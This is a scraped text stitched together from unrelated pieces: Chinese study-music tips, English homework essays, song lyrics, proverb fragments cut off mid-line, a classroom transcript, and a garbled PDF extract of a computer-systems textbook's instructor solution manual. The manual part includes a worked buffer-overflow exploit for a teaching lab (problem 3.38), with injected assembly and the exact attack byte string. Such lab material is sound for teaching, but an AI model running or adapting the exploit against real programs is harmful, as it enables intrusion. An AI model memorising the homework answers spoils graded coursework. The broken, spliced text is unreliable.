6. Lo-fi Hip Hop: 低保真嘻哈音乐通常节奏舒缓，适合长时间作业。
推荐ChilledCow的《Lofi Hip Hop Radio》。
7. Nature Sounds: 自然声音如雨声、海浪声等，可以营造宁静的环境，有助于放松。
推荐使用白噪音应用。
8. World Music: 世界音乐包含多种文化元素，可以拓宽思维。
推荐Ravi Shankar的印度西塔琴音乐。
9. Epic Music: 史诗音乐通常宏大且激励人心，适合需要长时间专注的作业。
推荐Two Steps From Hell的作品。
10. Minimalist Music: 极简主义音乐以简单重复的旋律为特点，有助于保持专注。
推荐Steve Reich的《Music for 18 Musicians》。
选择音乐时，考虑个人偏好和作业类型。
有些音乐可能对某些人更有效，而对其他人则可能产生干扰。
尝试不同的音乐，找到最适合自己的背景音乐。
8点你家干啥英语作文
8点你家干啥英语作文当你家是个大型繁忙的家庭时，一天总是充满了各种各样的活动。
在早晨8点的时候，我们家通常已经开始了一天的忙碌生活。
以下是一篇以此为题的英语作文，参考了网上下载量较高的范文，但是内容和结构进行了重新创作和扩展，希望你喜欢：Title: A Day in the Life: 8 AM in My Household。
In my household, 8 AM marks the beginning of a bustling day filled with various activities. As the sun begins to rise, the house comes to life with the sound of alarm clocks ringing, the aroma of breakfast cooking, and the shuffle of feet as everyone prepares for the day ahead.First and foremost, 8 AM is the time when the household wakes up from its slumber. My parents, being early risers, are usually already up and about, setting the tone for the rest of the family. My mother, a diligent homemaker, is often found in the kitchen, whipping up a hearty breakfast to fuel us for the day. The tantalizing scent of pancakesor scrambled eggs wafts through the air, tempting even the sleepiest members of the household to rise and shine.Meanwhile, my father is typically engrossed in the morning newspaper, catching up on the latest news and sipping his steaming cup of coffee. His presence exudes a sense of calm and stability, anchoring the chaotic morning rush with his quiet demeanor.As for my siblings and me, 8 AM signals the start of our daily routine. We groggily make our way to the bathroom to freshen up, jostling for space and time as we brush our teeth and wash our faces. The mirror becomes a battleground as we vie for our turn, each of us eager to stake our claim on the limited bathroom resources.Once we are all presentable, it's time for the most important meal of the day: breakfast. We gather around the dining table, a cacophony of voices filling the air as we discuss our plans for the day ahead. My parents offer words of encouragement and advice, setting a positive tone for the hours to come.Amidst the hustle and bustle, there is a sense of camaraderie and togetherness that permeates our household. Despite our individual differences and busy schedules, we come together each morning to share a meal and connect before heading off into the day.In addition to the daily rituals, 8 AM often marks the beginning of specific tasks and responsibilities. For my parents, it may involve checking emails, planning meals, or organizing household chores. As for my siblings and me,it's time to gather our school bags, double-check our assignments, and ensure we have everything we need for the day ahead.Overall, 8 AM encapsulates the essence of our household – a bustling hive of activity, filled with love, laughter, and the occasional chaos. It sets the rhythm for the day, laying the groundwork for the adventures and challengesthat lie ahead. And as we bid farewell to the morning rush and embark on our respective journeys, we carry with us the warmth and familiarity of home, knowing that no matterwhere the day may take us, we will always find solace in the comforting embrace of family.。
钢琴谱 Home-蔡徐坤致敬抗疫英雄家一直都在 五线谱_共3张(全)
没有“孤军奋战”，只有“携手相依”。我们站在世界的不同角落，仰望着同一片天空，这场没有硝烟的“战 疫”，让我们的心。
“希望与爱，从未离开。”
同时，还为大家提供了《》曲谱
歌词下方是Home钢琴谱，大家可以学习。
Home歌词：
We are not alone We're going home No pain will last forever Let's look at the stars high in the sky Believe that there's no limit We are not alone We're going home No pain will last forever Let's look at the stars high in the sky Believe that there's no limit We are not alone We're going home No pain will last forever Let's look at the stars high in the sky Believe that there's no limit We are not alone We're going home No pain will last forever Let's look at the stars high in the sky Believe that there's no limit 爱 希望与爱 从未离开 阳光终将会驱散阴霾 别怕孤单 家一直在
在家写家庭作业的英语作文
在家写家庭作业的英语作文I hate doing homework at home. It's so boring and I'd rather be doing something fun. But I guess it's importantto do my homework so I can learn new things. I wish I could just finish it quickly and go play with my friends.Sometimes I get distracted when I'm doing my homework.I'll start thinking about a video game or a funny video I saw online. It's hard to stay focused, but I try my best to get it done.My mom always tells me to do my homework before I goout to play. She says it's important to finish my workfirst so I don't fall behind in school. I guess she's right, but I still wish I could just play all day and not have to worry about homework.I have a lot of different subjects to do homework for. Math is probably my least favorite because it's so hard. I always have to ask my mom for help with math. English isokay, but I have to write a lot and sometimes I run out of things to say.I like doing science homework because it's interesting to learn about how things work. I wish all my homework could be about science. Then I wouldn't mind doing it so much.After I finish my homework, I feel relieved. I'm gladit's over and I can go do something fun. But then I remember that I have more homework to do tomorrow. It never ends! I wish I could just be done with school already.。
《Homework》At-Home-PPT课件
3 完成配套的课后作业。
长风破浪会有时，直挂云帆济沧海。努力，终会有所收获，功夫不负有心人。以铜为镜，可以正衣冠；以古为镜，可以知兴替；以人为镜，可以明得失。前进的路上 照自己的不足，学习更多东西，更进一步。穷则独善其身，达则兼济天下。现代社会，有很多人，钻进钱眼，不惜违法乱纪；做人，穷，也要穷的有骨气！古之立大 之才，亦必有坚忍不拔之志。想干成大事，除了勤于修炼才华和能力，更重要的是要能坚持下来。士不可以不弘毅，任重而道远。仁以为己任，不亦重乎?死而后已， 理想，脚下的路再远，也不会迷失方向。太上有立德，其次有立功，其次有立言，虽久不废，此谓不朽。任何事业，学业的基础，都要以自身品德的修炼为根基。饭 而枕之，乐亦在其中矣。不义而富且贵，于我如浮云。财富如浮云，生不带来，死不带去，真正留下的，是我们对这个世界的贡献。英雄者，胸怀大志，腹有良策， 吞吐天地之志者也英雄气概，威压八万里，体恤弱小，善德加身。老当益壮，宁移白首之心；穷且益坚，不坠青云之志老去的只是身体，心灵可以永远保持丰盛。乐 其乐；忧民之忧者，民亦忧其忧。做领导，要能体恤下属，一味打压，尽失民心。勿以恶小而为之，勿以善小而不为。越是微小的事情，越见品质。学而不知道，与 行，与不知同。知行合一，方可成就事业。以家为家，以乡为乡，以国为国，以天下为天下。若是天下人都能互相体谅，纷扰世事可以停歇。志不强者智不达，言不 越高，所需要的能力越强，相应的，逼迫自己所学的，也就越多。臣心一片磁针石，不指南方不肯休。忠心，也是很多现代人缺乏的精神。吾日三省乎吾身。为人谋 交而不信乎?传不习乎?若人人皆每日反省自身，世间又会多出多少君子。人人好公，则天下太平；人人营私，则天下大乱。给世界和身边人，多一点宽容，多一份担 为生民立命，为往圣继绝学，为万世开太平。立千古大志，乃是圣人也。丹青不知老将至，贫贱于我如浮云。淡看世间事，心情如浮云天行健，君子以自强不息。地 载物。君子，生在世间，当靠自己拼搏奋斗。博学之，审问之，慎思之，明辨之，笃行之。进学之道，一步步逼近真相，逼近更高。百学须先立志。天下大事，不立 川，有容乃大；壁立千仞，无欲则刚做人，心胸要宽广。其身正，不令而行；其身不正，虽令不从。身心端正，方可知行合一。子曰:“知者不惑，仁者不忧，勇者不惧 者，不会把时间耗费在负性情绪上。好学近乎知，力行近乎仁，知耻近乎勇。力行善事，有羞耻之心，方可成君子。操千曲尔后晓声，观千剑尔后识器做学问和学技 的练习。第一个青春是上帝给的；第二个的青春是靠自己努力当眼泪流尽的时候，留下的应该是坚强。人总是珍惜未得到的，而遗忘了所拥有的。谁伤害过你，谁击 重要的是谁让你重现笑容。幸运并非没有恐惧和烦恼；厄运并非没有安慰与希望。你不要一直不满人家，你应该一直检讨自己才对。不满人家，是苦了你自己。最深 一个人，而是心里没有了任何期望。要铭记在心；每一天都是一年中最完美的日子。只因幸福只是一个过往，沉溺在幸福中的人；一直不知道幸福却很短暂。一个人 贡献什么，而不应当看他取得什么。做个明媚的女子。不倾国，不倾城，只倾其所有过的生活。生活就是生下来，活下去。人生最美的是过程，最难的是相知，最苦 的是真爱，最后悔的是错过。两个人在一起能过就好好过！不能过就麻利点分开。当一个人真正觉悟的一刻，他放下追寻外在世界的财富，而开始追寻他内心世界的 弱就是自己最大的敌人。日出东海落西山，愁也一天，喜也一天。遇事不转牛角尖，人也舒坦，心也舒坦。乌云总会被驱散的，即使它笼罩了整个地球。心态便是黑 可以照亮整个世界。生活不是单行线，一条路走不通，你可以转弯。给我一场车祸。要么失忆。要么死。有些人说：我爱你、又不是说我只爱你一个。生命太过短暂 不一定能得到。删掉了关于你的一切，唯独删不掉关于你的回忆。任何事都是有可能的。所以别放弃，相信自己，你可以做到的。、相信自己，坚信自己的目标，去 的磨难与挫折，不断去努力、去奋斗，成功最终就会是你的！既然爱，为什么不说出口，有些东西失去了，就在也回不来了！对于人来说，问心无愧是最舒服的枕头 他人的成功，被人嫉妒，表明自己成功。在人之上，要把人当人；在人之下，要把自己当人。人不怕卑微，就怕失去希望，期待明天，期待阳光，人就会从卑微中站 想去拥抱蓝天。成功需要成本，时间也是一种成本，对时间的珍惜就是对成本的节约。人只要不失去方向，就不会失去自己。过去的习惯，决定今天的你，所以，过 今天的一败涂地。让我记起容易，但让我忘记我怕我是做不到。不要跟一个人和他议论同一个圈子里的人，不管你认为他有多可靠。想象困难做出的反应，不是逃避 面对它们，同它们打交道，以一种进取的和明智的方式同它们奋斗。他不爱你，你为他挡一百颗子弹也没用。坐在电脑前，不知道做什么，却又不想关掉它。做不了 间帮你决定。如果还是无法决定，做了再说。宁愿犯错，不留遗憾。发现者，尤其是一个初出茅庐的年轻发现者，需要勇气才能无视他人的冷漠和怀疑，才能坚持自 把研究继续下去。我的本质不是我的意志的结果，相反，我的意志是我的本质的结果，因为我先有存在，后有意志，存在可以没有意志，但是没有存在就没有意志。 的福利，可以使可憎的工作变为可贵，只有开明人士才能知道克服困难所需要的热忱。立志用功如种树然，方其根芽，犹未有干；及其有干，尚未有枝；枝而后叶， 出现不是对愿望的否定，而是把愿望合并和提升到一个更高的意识无论是美女的歌声，还是鬓狗的狂吠，无论是鳄鱼的眼泪，还是恶狼的嚎叫，都不会使我动摇。即 难，已经开始了的事情决不放弃。最可怕的敌人，就是没有坚强的信念。既然我已经踏上这条道路，那么，任何东西都不应妨碍我沿着这条路走下去。意志若是屈从 它都帮助了暴力。有了坚定的意志，就等于给双脚添了一对翅膀。意志坚强，只有刚强的人，才有神圣的意志，凡是战斗的人，才能取得胜利。卓越的人的一大优点 的遭遇里百折不挠。疼痛的强度，同自然赋于人类的意志和刚度成正比。能够岿然不动，坚持正见，度过难关的人是不多的。钢是在烈火和急剧冷却里锻炼出来的， 么也不怕。我们的一代也是这样的在斗争中和可怕的考验中锻炼出来的，学习了不在生活面前屈服。只要持续地努力，不懈地奋斗，就没有征服不了的东西。
冀教版小学英语四年级上册第课homework课堂实录
冀教版小学英语四年级上册第7课homework课堂实录冀教版英语四年级上册Lesson7 « Homework »课堂实录白银区二校路志高一、歌曲导入T:Let's sing a song's name is “ He is wearing red trousers评析:让学生处在愉快的余围中，往往会给学生带来轻松、愉快的感觉，自然地进入学习新知的情景。
）教学热身是英语课堂TPR教学方法的重要形式之一，教师采用歌曲来缓解学生的紧张情绪，建立轻松、和谐、民主的课堂余围，为进一步的学习lesson7歌曲奠定了良好的基础。
二、师生问候T:Class begins!Hello,everyone!Ss:Hello,Mr Lu!T:what day is todaySs:It isFridayT:How are you todaySs:We're fine,thank you.T:What's the weather like todaySs:It's fine.评析:简单的问候，可以帮助学生适应英语语感，使学生很自然地进入英语学习状O三、新授知识1. Ppt出示作业单，导出homework （由第一单元课的知识，自然引入本课的教学内容）T:我们今天来学习在家能做的事情。
Do read write draw T:Ss:Yes!T:Today we'll learn a lesson about the homework Please tell lesson shall we learnSs:Lesson 7.T:OK!Now，let's count from one to seven!评析:在学生原有知识的基础上，以数字引入，使课题的出示别具特色，自然而不失趣味性。
2、课件出示图片，学习新单词问:What do You do in the evening 出示每幅图片及相应单词，评析:用学生已经学过的动词引出本课的动词短语。
写作业专用灯能说英语
写作业专用灯能说英语"Hello, little learners! I'm your new homework buddy, the English-speaking desk lamp. Let me light up your study time and make it more fun!First, let's start with some basic greetings. When you turn me on, I say, 'Hello! Let's get started with your homework.' And when you're done, I say, 'Good job! Time to take a break.'But that's not all. I can also help you with your English vocabulary. Just ask me, 'What's the English word for [Chinese word]?' and I'll tell you.For example, if you ask, 'What's the English word for 苹果?' I'll respond, 'Apple!'And if you're feeling a bit sleepy, I can even recite some English poems to keep you awake and inspired. Just say, 'Can you recite a poem?' and I'll start with one of my favorites.But remember, I'm here to help you with your homework first. So let's focus, and when you're ready, just tell me, 'I'm ready to start my homework,' and I'll provide a bright and friendly light to guide you through your assignments.So, let's make learning English a part of your homework routine. With me, your English-speaking desk lamp, you'll bespeaking English in no time!"This content is designed to be engaging and helpful for children who are learning English, while also providing a practical tool for their homework sessions.。
开灯写作业英语
1.Switch on the light:Before starting your homework,make sure to turn on the light to create a welllit environment that is conducive to studying.2.Prepare your workspace:Clear your desk of any distractions and ensure you have all the necessary materials for your homework,such as textbooks,notebooks,pens,and any other tools you might need.3.Set a goal for the session:Determine what you want to accomplish during your homework session.This could be completing a certain number of problems,writing a set number of pages,or reviewing specific topics.4.Break down tasks:If you have multiple subjects or assignments,break them down into smaller,manageable tasks.This can make the work seem less daunting and help you stay focused.5.Start with the most challenging task:Tackle the most difficult or timeconsuming task first while your energy levels are high.This can help you make the most of your productive hours.6.Take short breaks:Schedule short breaks every4560minutes to rest your eyes and e this time to stretch,take a quick walk,or do something enjoyable to recharge.7.Stay organized:Keep track of your assignments and deadlines using a planner or digital calendar.This will help you manage your time effectively and ensure you dont miss any important dates.e effective study techniques:Employ techniques such as the Pomodoro Technique, where you work for a set period e.g.,25minutes and then take a short break.This can improve focus and productivity.9.Ask for help if needed:If youre struggling with a particular concept or assignment, dont hesitate to ask for help from a teacher,tutor,or classmate.10.Review your work:Before finishing your homework session,take a few minutes to review what youve accomplished.This can help reinforce what youve learned and identify any areas that may need further attention.11.Store materials properly:Once youve completed your homework,make sure to store your materials properly to avoid misplacing them for future assignments.12.Reflect on your progress:At the end of the session,reflect on what went well and what could be improved for your next homework session.This selfassessment can help you continually refine your study habits.。
answer
Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode 